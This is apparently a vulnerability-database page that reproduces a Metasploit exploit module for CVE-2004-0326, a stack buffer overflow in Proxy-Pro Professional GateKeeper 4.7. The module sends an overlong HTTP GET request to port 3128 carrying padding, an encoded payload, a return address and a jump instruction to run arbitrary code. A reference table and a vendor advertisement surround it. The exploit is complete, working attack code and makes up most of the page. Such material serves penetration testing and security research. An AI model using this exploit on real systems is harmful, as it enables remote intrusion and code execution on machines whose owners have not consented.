Proxy-Pro GateKeeper 4.7 GET Request Overflow by MC, CVE 2004-032
Reporter | Title | Published | Views | Family All 5 |
---|---|---|---|---|
Packet Storm | Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow | 30 Oct 200900:00 | – | packetstorm |
NVD | CVE-2004-0326 | 23 Nov 200405:00 | – | nvd |
Exploit DB | Proxy-Pro Professional GateKeeper 4.7 - GET Overflow (Metasploit) | 20 Sep 201000:00 | – | exploitdb |
CVE | CVE-2004-0326 | 23 Nov 200405:00 | – | cve |
Cvelist | CVE-2004-0326 | 18 Mar 200405:00 | – | cvelist |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Proxy-Pro Professional
GateKeeper 4.7. By sending a long HTTP GET to the default port
of 3128, a remote attacker could overflow a buffer and execute
arbitrary code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2004-0326'],
['OSVDB', '4027'],
['BID', '9716'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00+&=%\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
],
'Privileged' => true,
'DisclosureDate' => '2004-02-23',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(3128)
])
end
def exploit
connect
print_status("Trying target #{target.name}...")
sploit = "GET /" + rand_text_english(3603, payload_badchars)
sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
sploit += "\xe9" + [-497].pack('V') + " HTTP/1.0" + "\r\n\r\n"
sock.put(sploit)
sock.get_once(-1, 3)
handler
disconnect
end
end
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo